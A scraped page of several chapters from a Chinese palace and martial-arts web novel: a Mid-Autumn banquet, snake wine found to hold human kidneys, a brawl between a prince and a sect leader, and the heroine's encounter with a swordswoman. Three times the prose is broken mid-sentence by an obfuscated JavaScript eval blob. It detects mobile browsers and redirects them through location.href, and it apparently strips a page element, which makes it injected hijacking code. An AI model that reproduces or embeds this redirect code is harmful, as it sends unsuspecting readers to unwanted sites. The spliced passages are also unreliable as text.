中秋宴会的美食有清蒸大闸蟹,甜咸月饼,红烧牛肋骨,桂花鸭,蛤蜊蒸蛋,四喜丸子,葱香黄花鱼,无水卤牛肉,红枣糯米藕等,把桌面挤得放不下杯筷。 时令水果也堆了几盘高山,石榴,葡萄,猕猴桃,山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810661|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楂,红红绿绿,眼花缭乱。 酒呢? 撇开中秋节贯例喝的桂花酒,剩余的大部分酒水便是全部出自罐中仙的蛇酒了。 曲远纣亦将罐中仙当宝贝介绍,领着众人尝了几口。 红衰很直接,小声道,“难喝。” 翠减也不虚与委蛇,低低道,“讨厌。” 花月阴整杯入喉,舔舐嘴唇,“啊!上上品。” 卧石哇哇一声,“好喝!好喝!烈得嘞!” 编梦一袖挡面,一饮而尽,微笑道,“如此佳酿,百年不遇,多谢皇上赐酒。” 墨井道人是博古通今的读书人,明白面对帝王得捧着来,老头子的长胡须一抖,闭着眼睛硬生生吞一大口,“好酒,不愧是罐中仙,名字取得妙,酒味也极妙。” 圣童教的须弥抱着罐子“咕嘟咕嘟”狂倒,三两口就全部倒进腹部,抹抹嘴巴,大眼睛忽闪忽闪,“还有吗?再来一罐!” 一旁的教众闷声不吭地为他抬了一罐上桌,贴心地拔掉塞子。 曲远纣见他们喝得欢喜,眼底滑过一念,开门见山道,“朕听闻十年一赛的武林大会不久将至,诸位是打算在何处举办呢?” “回皇上,还未确定具体位置。”墨井道人站起来,垂头道。 编梦道,“皇上,我们曾拟了几处地方,一时拿不住在哪,还请皇上定夺一番。比如逆兽道,灵犀盆地,潺城,卧女山脉,曲水河畔……” “潺城便罢了,不必在那穷乡僻壤举办。逆兽道是交通要道,周围险峻难行,多有山匪,不适合开展比武。灵犀盆地的百姓居多,太惹人瞩目了。曲水河畔太过平坦,没有一览众山小的氛围……朕属意在卧女山脉的最高峰比武,如何?败者直接滚下卧女山,尸骨无存。”曲远纣闻言,眯一下眼,若有所思,徐徐言出。 静默一秒。 众人回言,“皇上英明。” 曲远纣抚掌大笑,一锤定音,“好,就这般决定,届时曲朝会有几名皇子参与,一同比试比试,且看天下第一门派花落谁家?” 曲朝的皇子几乎都拜了门派习武,去参加武林大会再正常不过,只不过他们的参与会使公平公正的比武掺了人情世故,到底非是良策。 众人无可奈何,只得悻悻地点一点头。 不知是否落花啼的错觉,曲远纣提及潺城之时,她瞄见了曲探幽的黑目冷了几个度,面容渐渐僵硬,一只手捏着杯盏,捏得骨节绽出青白色。 落花啼暗暗翻一个白眼,转头与身边的曲双蛾推杯换盏,东拉西扯聊着天。 余光一瞟,她看见了自家大哥绷紧身子和曲柔忆坐一块,拘谨不安。 曲柔忆,人如其名,柔柔弱弱,削肩瘦腰,一袭清丽的淡绿衣袍,容貌秀美,眉宇间却透着几缕病弱的苍白。 活脱脱一个弱不禁风的病美人。 曲柔忆举杯与落花鸣碰一下,笑颜道,“太子,中秋夜,理是月色最美,不如同我去外面赏月?” 落花鸣道,“夜深露浓,恐寒气逼人,不便逗留,还是不去罢。” 曲柔忆“哦”一声,轻咳两下,敛敛绣眉,“那太子喜欢吃月饼吗?喜甜的还是咸的?” “都不喜欢,我不吃月饼。” “哦……” 两人你一句我一句干巴巴的聊着,气氛不比落花啼和曲探幽这边的舒服,各有各的尴尬局促。 落花啼灌了半坛罐中仙,飘飘然提着酒罐准备去天相宗那一堆人里面找红衰翠减喝酒,孰料刚一撅屁-股,一位青史学府装扮的门人钻进殿来,“噗通”跪倒在地,在墨井道人身边附耳言语一遭。 墨井道人一把推开那门人,“哗”的站直,魂不附体,悲鸣道,“皇上,蓝穹国的小侯爷私自跑来曲朝赴宴,如今在曲水沣都失踪了,下落不明,寻觅不得,不知是生是死。” “求皇上出动士兵襄助搜找!” 26. 江湖云集来 第二十六章江湖云集来 (蔻燎) 曲远纣喝了一半的酒,欲吐不吐,一口吞下,狐疑道,“什么?蓝穹国的小侯爷何时来的?朕如何不知?” 墨井道人回语,“皇上,我也是将将才知晓,小侯爷不打招呼偷偷跟着来了,他本意想一同前往中秋宴,结识其他门派,殊不知……” 沉吟,曲远纣斜斜望向曲探幽,曲探幽一甩衣袍站起来,“父皇,儿臣明白,定会竭力寻找失踪的小侯爷。” “探幽最得朕心。” “多谢父皇委以重任。” 曲探幽回身坐下,唤来入鞘吩咐几句,入鞘眉毛一拧,点点头,出了大殿集结一队侍卫,趁着夜色匿迹在黑暗中。 中秋宴继续传杯换盏,斟酒劝欢,大有不醉不归之感。 落花啼一手拎酒罐,一手执酒盏,绕过歌舞升平的殿中心,跑到对面去坐在红衰,翠减二人身边。 甫一盘好双腿,红衰的声音飞刺入耳,不耐烦,“何事?” 落花啼道,“大师姐,许久不见,一起喝几杯。师父临走之前嘱咐你们帮助我做事,我找了你们许多遍,你们风沙似的不留痕迹,没成想在曲朝碰面了。原来你们在灵暝山不辞而别,是专门赶来曲朝啊。” 翠减漠然道,“忘了。” 两师姐拒人千里之外的性格与记忆中无甚差异,落花啼想起前世红衰翠减在落花国被灭后,奉花下眠的命令来曲朝寻她,曾单枪匹马杀进曲探幽的逢君行宫,救出她逃命了一段路程。 三师姐妹餐风饮露,慌慌张张躲在荒山野岭,连烧火取暖都生怕被曲兵发现,冷得拥成一团。 红衰那时一字一咬牙道,“复仇。” 翠减恨恨道,“帮你。” 缩在一棵大樟树下的落花啼,双手抱紧肩臂,眼泪决堤般泄下,湿了一整张落魄灰白的脸。 她唇齿溢出鲜红,言语间淌着细长的血线,迷茫又绝望,“师父呢?师父在何处……我该如何重建落花国,落花国的百姓全部都死了,父王母后,大哥二哥,花蕊妹妹也都死了,我该怎么办?我的武功也被曲探幽给废了,我现在什么也没有,我怎么东山再起?”伤心欲绝的落花啼聚不了精神,喃喃自语,又是大笑又是恸哭,几近疯魔。 红衰臻首微低,缄默无言,抬手扶上落花啼颤抖的肩,似有不忍,“卧薪。” 翠减接口道,“尝胆。” 怔忡,落花啼抹去泪珠,重重地点头,好像有无形的力量支撑她坚持,坚持到底。正当她们准备赶路,密林深处燃起来一条肆虐的蜿蜒火龙,灼热的火把的嚣张气焰无可避免地烫入眼眶,躲退不及。 自远及近的一长串脚步声,沉重如横雷,磅礴如海啸。 一人狂笑道,“在那!抓住落花国余孽!” “太子殿下说了,只要逮住落花啼,赏银千两!” 曲兵追来了,无休无止的逃亡再次踏上,落花啼在黑夜里慌不择路,压抑的心脏跳动得狂躁,仿佛要钻出喉咙眼弃她而去。 刀子嘴豆腐心。 落花啼私以为红衰翠减心里还是有她的,虽然比例不多,但总归是拜了同一个师父,惺惺相惜的情意绝对存在。 前世今生落花啼都非怯弱之人,一国长公主察言观色,有的放矢的手段是取之不尽的,她一改之前飞扬跋扈的作风,主动抱住两位师姐嘘寒问暖,还亲自为她们斟上一杯罐中仙的蛇酒。音质柔得发腻,“大师姐,二师姐,咱们第一次相聚过中秋,难得,难得。师妹敬你们一杯,先干了!” 斜杯倒进嘴里,不拘小节地徒手拭掉多余的残渍。 一顿操作唬得红衰,翠减二人面面相觑,鼓圆大眼开始了交流眼色。 不出声,就已把落花啼暗暗贬损了一遭。 两人道,“奇怪。” 还是展袖挡面,高仰头颅,一气喝完了罐中仙。 落花啼笑眯眯哄着红衰翠减牛饮半晌,想摘颗紫葡萄吃吃,一瞥眸光,意料之中碰上了对面曲探幽的眼仁。 对方的双目黑如深渊沉潭,死死地剑戟般戳着她。 见者必会如坐针毡,毛发倒立,撞鬼似的拔腿就跑。 落花啼早已习惯了曲探幽那阴鸷的眼神,但每每做好心理准备,仍然会愕一大跳。 她努力地瞪眼翻白回击曲探幽,后者却轻飘飘挪走视线,一脸无所谓的表情。 “哈哈哈哈,谁人不知道圣童教的圣童是个侏儒呢?说什么五年选一名圣童作为领教人,任期五年,然后换新的圣童,可我怎么记得这圣童已经六七年未换了?按理说过去这么久他理该长大了,何以还是一副矮小模样?啧,可不就是一个侏儒吗?” 大殿内,在众人喧哗里不合时宜飘起了含沙射影的话语,音量极高,明目张胆地议论着在场的圣童教。 这声音,贱兮兮的,刺人心窝子,一听就是曲瑾琏。 “四哥,你又玩笑了。侏儒怎可与堂堂圣童相提并论?两不相干啊。侏儒是一辈子长不大的成年人,实在可怜……圣童一开始乃是幼子,十岁当圣童,十五岁退居幕后,过上几年便能长大成人,说不定他现在还没蹿个子,也未可知。四哥,你如此说,让圣童教的人颜面何在?”一道附和捧场的磁性嗓门紧随其后,曲钦寒一面悠哉悠哉地喝酒,一面睨了圣童教的须弥两眼。 曲瑾琏淡淡地瞄一下上首的曲远纣,见父皇未出言呵斥,胆壮如牛,疾言厉色,“六弟,你有所不知啊,圣童教的圣童根本不是幼子,他已经年愈二十,早就长大了。只是外表没什么大动静,心底和我们长得是相差无几。前些天还有传言,说有人不小心看见圣童跑去‘香染魂’逛了逛,惹了一身脂粉味。他想跟女人睡觉,人家女郎们看他太小,直把他当弟弟逗呢!哈哈哈哈!” 曲钦寒依旧给面子,鼓掌笑道,“哦?有这回事么?” 砰! 圣童教的位置炸起重拳锤桌的闷响。 小圣童须弥一骨碌爬起来,横眉冷对,指着曲瑾琏,盛怒道,“四皇子,你别含血喷人!” 出身优渥,龙子凤孙的曲瑾琏自是不怕圣童教,更不怕小小一位须弥,嗤笑道,“说错了吗?你所作所为天地可鉴,身正不怕影子歪,你如此气愤,不就是被本皇子言中了?” “歪理!” 须弥到底涉世未深,曲瑾琏三两句讥讽的话就气得他能长出头发来,舞着一杆比他高两倍的赤金锡杖,脚底生风便去猛敲坐在原位的曲瑾琏。 此时一抹红衣快步闪出,空手“啪”的接下须弥重若千斤的锡杖,疼得手掌和手腕麻痹得像断了一样。 落花啼手指狂抖,“哎呦”一声,蓄力推开须弥,甩甩手,劝慰道,“圣童大人,有话好好说,一定是误会,四皇子准是眼拙看错了,你肯定不会去锦阵花营里鬼混——” 她凑近几寸,一手掩口,嘀嘀咕咕道,“我看四皇子自幼裘马轻狂,他去香染魂的几率比你大多了,他凭空捏造,便是故意想激怒你,博取乐趣。你觉得呢?” 一位妙龄美人出面劝架,轻轻松松化去火气,须弥撅着嘴,上下打量落花啼,“你是?” “落花国长公主落花啼,也是灵暝山天相宗三弟子,见过圣童。” 圣童教的话语权集中在一矮矮的小须弥手里,同他认识一番,是有利无弊的好事。 须弥道,“你比他们好。” 这个“他们”具体指谁,殿内人自有分辨。 须弥转身望向上面的曲远纣,孩子气的脸孔上萦绕着不属于他的威严气息,掷地有声道,“皇上,四皇子无凭无据,出言不逊,侮-辱圣童教。你却不管不教,是否在开柙出虎?” 曲远纣俯瞰下方的须弥,皮笑肉不笑,“圣童放心,朕会约束瑾琏的……不过,瑾琏既是曲朝的皇子,当然有快意言说的自由,朕想圣童乃一教之主,不会同他计较的。” 旁观者长了眼睛珠子的都能明白,曲远纣这是帮亲不帮理,护着自己的狼崽子。 曲瑾琏,曲钦寒相视而笑,下巴轻抬,仗势欺人,越发傲然。 须弥一顿,脸皮瞬间黑了,缓缓收起锡杖,憋着一口波涛滚滚的恶气。 “公主,你流血了!” 此时银芽从角落里窜出来,惊恐道。 须弥以为是他的锡杖打伤了落花啼,心口一紧,赶忙看去,孰知一扭头,瞧见了落花啼的小半张脸血糊一片,触目可怖。 他道,“你,你怎么了……” 落花啼不痛不痒,只感觉鼻底湿漉漉黏糊糊的,举手一摸,定睛细看,手指上全是黑红的血液。她心房火烧火燎的,一种难言的欲-念偾张不去。 不是? 谁给她下毒了? 落花啼还处于她吃错何物的恐慌中,下一秒听见太监尖锐地嚎叫,“不好了!皇上也流血了!来人啊,传太医,快传太医!” 几名宦官连滚带爬跌出殿外,跑得那叫一个丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“咚咚咚”,催命地跑动,十几位太医提着药箱滑进大殿,利索地行礼。 飞扑过去检查曲远纣血流不止的鼻子,折腾了须臾,喂了对方吃下药,才堪堪堵住了血。 曲远纣浓眉绞死,勃然大怒,质问道,“到底是如何?给朕说清楚!” 一太医抖抖索索道,“回皇上,您并未中毒,而是虚火炎旺,阴阳失衡,血热气逆,这才导致了流鼻血。” “一言蔽之,皇上是阳气过盛,阴气不足,身体不受重负。” 流鼻血的众人捂着鼻子逐一盯着太医,不可思议地张大眼眸。 那太医知晓他们的疑惑,坦言道,“一人流鼻血不足为奇,一群人一起流那便是吃喝了同样的东西,从而引发的。” 曲远纣按住覆掀雨给他温柔擦脸的手,扭扭颈子,呵斥道,“查!给朕找出是什么玩意儿闹的!” 一声令下,宦官宫婢们战战兢兢地翻动着中秋宴上的食物,拨一拨月饼,撩一撩大闸蟹,再抖一抖葡萄串儿。 曲探幽上前,铿锵道,“父皇,儿臣知道是何物有古怪。” “探幽,你来说。” “父皇,大殿之中并非人人皆流鼻血,譬如儿臣,长姐……我们有共同特点,便是不曾喝过罐中仙。宴会上的食物相似,但酒有不一样的选择。所以问题只能出现在酒上面,而流了鼻血的人,无一不是喝过罐中仙的,像父皇,四哥,六哥,落花啼,众门派中人,可见罪魁祸首确是罐中仙蛇酒。” “嗯,不错,探幽心思缜密,言之有理。你,你,你们去看看罐中仙里有什么蹊跷?”曲远纣满意地望着曲探幽,遣了几位太医去验罐中仙的酒水。 俄而。 围着罐中仙的众太医倒吸一口凉气,你瞅我一眼,我睃你一秒,舌挢不下。 曲远纣耐心耗尽,提起一杯子砸地上,震耳欲聋,“说!有何蹊跷之处?” 一太医深呼吸,捧着酒罐踱步走来,低眉俯首,如履薄冰道,“皇上,这罐中仙里泡了毒蛇……” “朕知道,不用你说,罐中仙就是以蛇酒闻名,何足为怪?”凝视太医那青白的脸色,曲远纣预感事情没那么简单,神情严峻。 太医道,“皇上,里面不止泡了毒蛇,还,还有——” 立在一边用绢帕塞鼻孔的曲瑾琏,一气之下踢中太医的小腿肚子,恶言道,“支支吾吾什么?在皇上面前还闪烁其词,含糊不清?” 挨了踹的太医,这才不卖关子,心满意足道,“皇上,皇后,太子殿下,四皇子,六皇子,罐中仙蛇酒之内还泡着成年男子的完整肾脏,乃大补阳-物,喝多了自然会鼻血横流,火-欲高胀。” 一语了罢。 偌大的金碧辉煌的殿宇陷入了死寂,落发可闻。 27. 当时已惘然 第二十七章当时已惘然 (蔻燎) 成年男子的肾脏泡在了罐中仙蛇酒之内? 男子,肾脏,蛇酒。 不经之谈! 落花啼弯腰就是一阵呕吐,“哇哇哇”把肚子里的酒水逼得一干二净。 当太医将罐中仙的一坨饱满的灰紫色类似蚕豆外形的大肉球扔在一托盘里,所有的皇亲国戚,江湖门派不约而同扶着柱子一吐千里,哀嚎声此起彼伏,惨不可言。 没人能面对他们喝得津津有味的蛇酒里掺了人的内脏,还是骚-气冲天的肾脏,没人能面对。 落花啼疑窦丛生,她与曲探幽之前刚去罐中仙喝过酒,那一天她分明不曾流鼻血,难不成那天的酒里没有泡过人肾。 拨开人群,挤到太医堆里面,落花啼忍着恶心仔仔细细看了看那块人肾,骇然道,“罐中仙发现男子肾脏,岂不是有人惨遭毒手死了?被挖走肾脏若不处理伤势,必然活不长的。” 曲探幽道,“孤叫人翻看中秋宴的罐中仙酒水,一共在几十坛酒罐里找到了十二颗肾脏。” 静默。 十二颗,如此一来,竟有六名活生生的年轻男子被挖了肾脏,不明死活。 按揉紧绷的额头,曲远纣的脑筋一突一突地蹦,他眼黑似漆,仪容愤懑,威赫道,“郭兆陵,你给朕解释解释,罐中仙酒楼到底干了什么勾当!” 御史大夫郭兆陵便是罐中仙老板玉堤的岳丈,他缩在人海里直冒冷汗,魂魄飘飘,被曲远纣冷不丁点名道姓。屏气咽声,双膝敲地,“皇上,臣也不知为何,许是一场误会和意外,罐中仙开店多年,从来都是小心翼翼,不敢踏错行差,岂会以活人肾脏入酒,其中必有蹊跷。请皇上给臣机会,严查此事,还罐中仙一个清白。” 曲远纣不置可否,脸黑如墨,下令不许郭兆陵插手此事,直接把这个烫手山芋丢给了他最信任宠爱的太子,随即嫌恶地拂袖而去。 覆掀雨亦抱着西施犬小小一俱走了,浩浩汤汤的仪仗渐渐被蓝黑色的夜幕湮没,无影无踪。 留下来的众门派左顾右盼,皆是踩了狗屎一样的晦气神情。 身负重任的曲探幽习惯了曲远纣向他抛来各种疑难要务,不惊波澜地命令一队侍卫将御膳房备置酒菜的御厨等人苦打二十大板,治他们一个疏忽渎职的罪名,以儆效尤。 宫外的吃食,不论是瓜果蔬菜,鸡鸭鱼牛,还是大米油盐,野味山珍,都得进行一重重的关卡检查试毒,御膳房显然是没把罐中仙仔细严查,单以为酒水未开封便是无毒,抱着侥幸心理躲了一懒,没猜想到蛇酒里还加了其他奇怪的事物。 他们受罚,无可厚非。 也是给众门派看看,酒水有异之事并非曲朝刻意做手脚,更不屑以此来戏弄众门派。 处理了御膳房,曲探幽下一步是安抚江湖门派,调了数名士兵将他们平安送出宫,进客栈休憩安寐,还花钱赏了珠玉,表示歉意。 众门派各自散去,不一会,天相宗,磬竹派,青史学府马不停蹄地逃也似的坐马车离开曲朝皇宫,一路上还隐约能听见凄惨的作呕之声。 皇亲国戚,大小官员也青乌着面孔,打道回府。 一时间,中秋宴会上只剩下了几位皇子和圣童教中人。 皇上曲远纣一走,须弥就按捺不住地攥紧赤金锡杖,小短腿一扑腾跳上桌子,手里的一大把金筷飞矢般“唰唰唰”地朝曲瑾琏的眉眼掷去。 强劲的破风寒音回荡在宽旷的大殿,犀利伤耳。 曲瑾琏正与曲钦寒低语,时而大笑,时而勾肩搭背,哪知余光一瞟,竟看见根根坚硬的金筷刺了过来,他暗道不妙,两手一抬宴桌竖起来抵挡。 “咔!咔!咔!” 金筷射中桌面,捅-出了密密麻麻的窟窿眼儿。 曲瑾琏从桌后探头,咬牙切齿,蔑视道,“你敢打本皇子!是不打算活着出皇宫了?来人!拿下圣童教不明尊卑的侏儒!拿下!” 他不提“侏儒”还好,一提这两个字,须弥的杀意迭起,才不顾曲瑾琏是不是曲朝金贵的皇子,挣开阻拦他的门人,点足跳跃,凌空旋出一记扫堂腿踹去。 须弥道,“你才是侏儒!你才是拈花惹草的浪荡子!” 曲瑾琏是磬竹派的弟子,武功拳脚的厉害自不在话下,然而还是拼不过圣童教的圣童的威力,躲避不及被其狠狠踹了个正着。 一张宴桌炸响连天,噼里啪啦烂成支离破碎的惨状,迸溅四散。 四皇子则狼狈地摔出去三四米,还是被一廊柱接住才稳住身形。 他麻利儿爬起来,抽过侍卫递上来的长剑,血红着眼眸去和须弥厮杀,剑刃撞击锡杖,像刀子刮动耳膜,悚得人寒战不停。 侍卫和圣童教的门人缠绕不休,打得闷哼不断,骨头咔嚓咔嚓响,两拨人呜呜泱泱融化在一起,分不清何人是何人。 落花啼拖着银芽躲在安全地方,两人一手抓了把甜瓜子,边磕边看戏,自在惬意,几分钟就洒下一地的黑白小花。 乜斜一眼身长玉立,背姿挺拔的曲探幽,落花啼含讥带诮道,“太子殿下,你四哥挨揍了,你不出手帮忙吗?兄友弟恭,手足情深,原是这个意思。” 曲探幽头也不回,跟没长耳朵的聋子无甚两样。 眼见六皇子曲钦寒要拔剑上场去混战,曲探幽终是忍不住道,“须弥圣童,皇宫重地非是寻衅滋事的场所,四哥所言恐是空穴来风,作不得真。你是一教之主,心襟清磊,想来不必计较得如此深。” “再闹下去,父皇知晓了,双方都不好看。” 锡杖狠势摁在曲瑾琏喉咙上,勒得下面的人喘息不了,脸红脖子粗。须弥闻言手一滞,凝眸瞪着曲探幽,两道黑眉扭得紧紧的。 圣童教中人忐忑道,“圣童!别打了!” 曲朝是何等的存在,霸居一方,势力雄强的天下第一大国,周围的小国无一不畏惧低头,他们只是天底下的一处江湖门派,如何能斗得过曲朝呢? 若是撕破脸,以后岂不是被曲兵追杀到天涯海角也躲不过。 冲动愤怒的须弥打掉牙往肚子里咽,心念,君子报仇,十年不晚,且先留着曲瑾琏的狗命,以后不差机会收拾不了他。 曲瑾琏整个人仰面横倒在一张桌上,那柄沉重的赤金锡杖卡得他眼眶湿润,险些窒息,他捕捉到圣童犹豫不决的眸光,得意忘形地扯嘴一笑,“怎么?不敢下手?本皇子以为你多大的气性呢?哈哈哈哈……” 须弥重重下压锡杖,收手之前不忘再扼对方几寸,挫挫牙齿,一声招呼不打就领着门派中人撤退。 “咳咳咳。” 曲瑾琏摸着红肿的喉结处干咳几声,手肘撑桌,胸膛气得颤抖,“什么圣童,嘁,披着羊皮的狼罢了。敢如此欺-辱我,迟早让他死无全身!” 曲探幽走近,脸色阴沉,冷冷道,“四哥,以后无事别惹江湖上的人,他们不受钤束,性子狂放,保不住哪天寻你复仇。那些流言蜚语真真假假难以分辨,你还说到旁人脸前去?”简直是自找苦吃。 “七弟,就圣童教那小孩子也值得当回事?父皇都默许我说了,怕什么?” 站直身体,曲瑾琏哼一声,一手搭在曲钦寒肩头,两人草草道别曲探幽,气势汹汹,领着各自的侍卫出了大殿。 看了半晌好戏的落花啼嗅到了一种暗潮涌动的气息,心口窃喜。曲探幽自诩曲朝的太子殿下,人人奉承簇拥,但他的四哥六哥对他更多的是羡慕忌惮,心怀叵测,没多少真情实感。 这三只大尾巴狼俨然貌合神离,分成一盘散沙。 不如,找机会去接近曲瑾琏,曲钦寒,如果能得到他们的助益,想拉曲探幽跌下神坛,胜算自会多上几筹。但他们俩也是心眼子极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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敲了敲门,片刻后,一名宦官启了一缝隙,瞧见是未来的太子妃,谄媚地拉开门迎她入内,惋惜道,“春还公主,您来的不巧,太子殿下昨天一夜未归,应是去忙事务了,您若不急,就在东宫等等太子殿下?说不定太子殿下一会儿就回来了。” “一夜未归?” 他竟是漏夜出宫去查罐中仙和蓝穹国小侯爷的事情了? 落花啼道,“不必,我去宫外找他。” 宦官白花花的脸蛋堆上笑意,“春还公主与太子殿下就是天造地设的一对,太子殿下不在,公主便急着去见太子殿下,郎情妾意,情意绵绵,何人看了不说甜蜜呢?” 啼笑皆非。 落花啼撇嘴,想回怼那不知天高地厚,乱点鸳鸯谱的宦官,突听不远处两三位大宫婢凑在一起窃窃私语,偶尔飞速瞟瞟落花啼。 一粉衣宫婢夹细了嗓子,声情并茂,加着小幅度的肢体动作,道,“对,就是她,她就是落花国的春还公主,太子殿下以后的太子妃。你们别看她长得国色天香,秾艳大气,其实她的心肝是黑色的,谁也不能惹,惹了就遭罪!” “不会吧,我看春还公主挺平易近人的……” “你懂什么?她根本一点不平易近人,她第一次进东宫就撒娇哄得太子殿下团团转,说让太子殿下干什么太子殿下就干什么——你们还不知道?簌珠姐姐就是因为她善妒成性,才被太子殿下随便捡了个由头打发出宫了。不知簌珠姐姐在宫外过得如何,簌珠姐姐跟了太子殿下十几年,没有功劳也有苦劳,唉!可怜!” “是这样吗?簌珠姐姐是因为她才被赶走的吗?那簌珠姐姐太惨了!太子殿下这么多年都没有宠幸过宫婢,簌珠姐姐清清白白,凭什么出宫?这春还公主一定是看簌珠姐姐有点姿色就觉得不顺眼了。天啊,还没嫁来曲朝就如此飞扬跋扈,她要是当了太子妃,东宫岂不是暗无天日,鸡飞狗跳了?我害怕!” “你害怕,我也害怕……啊,别说了,别说了,她走过来了!” 金粉色织锦长靴漫不经心地挪来,一袭红袍绿裳行动间宛如深红牡丹开放,翠金色丝绸飘带悬在腕上,随着步伐划出波澜般的弧度。 衣袂招招,碎发飘飘。 满鬓的珠玉争争挤挤,一朵硕大的暗色红芍药簪在脑后,栩栩如生,衬得人儿越发艳丽,使花羞,使雁落,使鱼沉。 驻足。 落花啼扫扫三名颔胸低眉的宫婢,嗤笑道,“你们叫什么名字?” 28. 明月浸虚空 第二十八章明月浸虚空 (蔻燎) 三宫婢面面相觑,手足无措,赶忙福身见礼,颤巍巍差点站不住,“奴婢参见春还公主,春还公主万福。” “奴婢名叫余容。” “奴婢名叫将离。” “奴婢名叫红药。” 落花啼若有所思地点点头,眉眼出尘,嫣笑道,“名字不错,挺好听,是曲探幽取的么?” “是曲探……不对!是太子殿下亲自取名的。” 最会察言观色的红药好险脱口而出曲探幽的名字,吓得倒抽一口气,垂头不敢忤视落花啼,她道,“多谢春还公主夸赞,公主夸我们的名字就是在夸太子殿下有品味,奴婢们先替太子殿下谢过公主。” 余容,将离应和道,“多谢公主赞誉。” 落花啼“噗嗤”一笑,她可没这层意思,没想到曲探幽东宫的婢女个个伶牙俐齿,聪慧过人,也难怪能当曲探幽下-面的人。 她褪下手腕上的三只缠花枝金钏儿赏给红药,余容,将离。淡淡的,笑得迷人又危险,“本公主瞧你们端正可爱,皆是丽人儿。这些金钏与你们相衬,送你们一人一个——记住,祸从口出,明白了?” 丢下话语,落花啼没看身后三人的反应,提起裙摆踱步出东宫。 东宫里的三大宫婢捧着金光灿烂的金钏,瞠目结舌,明明是得到赏赐了,为何有一种万蚁噬心的恐惧感? 曲水沣都。 落花啼在街上逢人打听罐中仙在何处,她上一次去过但记不住具体在哪,得到几个热心肠的百姓指了方位,她搓搓手,疾步赶路。 沸反盈天的街道全是流动的人潮,汇聚了四面八方的形形色色之人,闹腾的声音堵得耳朵都麻酥酥的。 落花啼专心遥望远处的高楼,想看看有没有毒蛇盘出来的“罐中仙”三字,不料走着走着,她听见了与人声截然相反的铁器碰撞声。 确切来说,是某种铁器抵在石头上,走一步划拉一下。 落花啼幼时就跟随花下眠习武,学得一身护命打架的本领,在落花国虽无人敢要她的命,但于天相宗日常练武的时候她经常耳闻过这诡异的声音。 是剑。 有人拎着一把利剑鬼鬼祟祟尾随她。 心鼓擂动,手掌汗湿,落花啼佯装自若,面无表情地穿梭在人海中,一只手悄悄地按住了绝艳的剑柄。 她刻意东拐西绕,时快时慢,走得颠来倒去,意图将后面的尾巴甩干净,然而折腾了半个时辰那人也穷追不舍,不愿退下。 落花啼磨磨后槽牙,瞥见一条深巷,三步并两步地钻身入内,在那人紧随其后的当儿抬起一脚蹬了过去。 对方身手敏捷,躲也不躲,慢吞吞出手在半空截住落花啼的脚踝,扣紧不松。如此缓缓然,使得落花啼的动作像极了班门弄斧,自取其辱。 手劲一拽,那人扯着落花啼,令之踉踉跄跄靠了上去。 淡紫色轻纱覆面,水光潋滟的琥珀眸子摄人心魂,巷外斜-射的金光照在她脸侧,投下了斑驳的碎影,越发映得她眉目似画,眼透秋愁。 一袭银紫色长袍裹着高挑的身形,乌黑的绸带束出纤细的腰肢,披了一薄如蝉翼的紫色斗篷,斗篷的帽檐盖住了她黝黑发亮的青丝。 嵌住落花啼脚踝的手上戴着莲纹护腕,银色冷辉,折出凛光飞进眼眸,像滴了一颗泪花。 落花啼硬生生被对方拉得劈了个叉,她“嗷”一声,挥拳就打,下一秒,拳头还是被后者懒懒散散地揍了回来,夸张的力量揍得落花啼手指一阵脆响,疼得眼泪都迸出来。 她往回一拽自己的腿,羞愤交加,“你是谁?到底想做什么?” 那人笑眯眯丢了手,反问道,“昨儿不是还见过一次吗?这么快就忘了?春还公主,真是贵人多忘事啊。” 花月阴。 竟是哀悼山天相宗的花月阴! 落花啼后撤三步,只觉脚踝和手指快欲断裂,摇摇晃晃,撑着墙壁才站稳。她抿了抿唇,难以想象花月阴的功力究竟有多深厚,一个哀悼山的徒弟就有如此匪夷所思的能力,可想而知她们的宗主是多么恐怖的存在。 眸光一晃,落花啼后知后觉看见了花月阴背后的十三岁少年,卧石。此时抱着一把修体长剑在那掂着脚丫,一副看戏的模样。 好家伙,两人一直追了她这么久。 明人不说暗话,落花啼壮着胆子道,“花姑娘,不不不,月阴姐姐,你此番作为,打算如何?是想找灵暝山弟子的麻烦?对不住,我的大师姐二师姐可能已启程回落花国,她们无暇分身,我也无心思和你斗……” 话未讲完,一冰冷的玉手拂上落花啼的五官,从眉梢,眼睛,摸到了鼻子,嘴巴,顺势下滑,摩挲着那白嫩的脖颈,手指一环,探去了脖子后面。 花月阴凝视着落花啼脖后纹的暗红芍药花的刺青,呓语般呢喃,“春还公主,你知道吗?你命格极贵,有人皇之姿。若不出意外,此生便是一代傲视群雄的帝王,只要把握机会,规避险恶,定能称霸天下,唯我独尊。” “这刺青,是我找你的依据,你就是师父所说的天命帝王。你,敢不敢赌一把?” “赌……赌什么?” “你跟着哀悼山的天相宗学艺,保你十年之内打垮曲朝,赌一个称帝的可能,如何呢?” 落花啼瞳孔收缩,不可置信地挥掉花月阴冷冰冰的手,腮帮子鼓动压抑着怒火,“不,我是灵暝山的徒弟,怎能倒戈去哀悼山学艺?这岂不是欺师灭祖。” 花月阴盯着被落花啼打掉的手,长眉冽然,恨铁不成钢道,“笑话,何来欺师灭祖一说?灵暝山和哀悼山是同一门派,皆是祖师花憾阶所创的,目下你我不过是有不同的师父罢了,学的内容大差不差,论不上是欺师灭祖。” “既然学的内容大差不差,何以还要去哀悼山学武呢?自相矛盾,多此一举。” 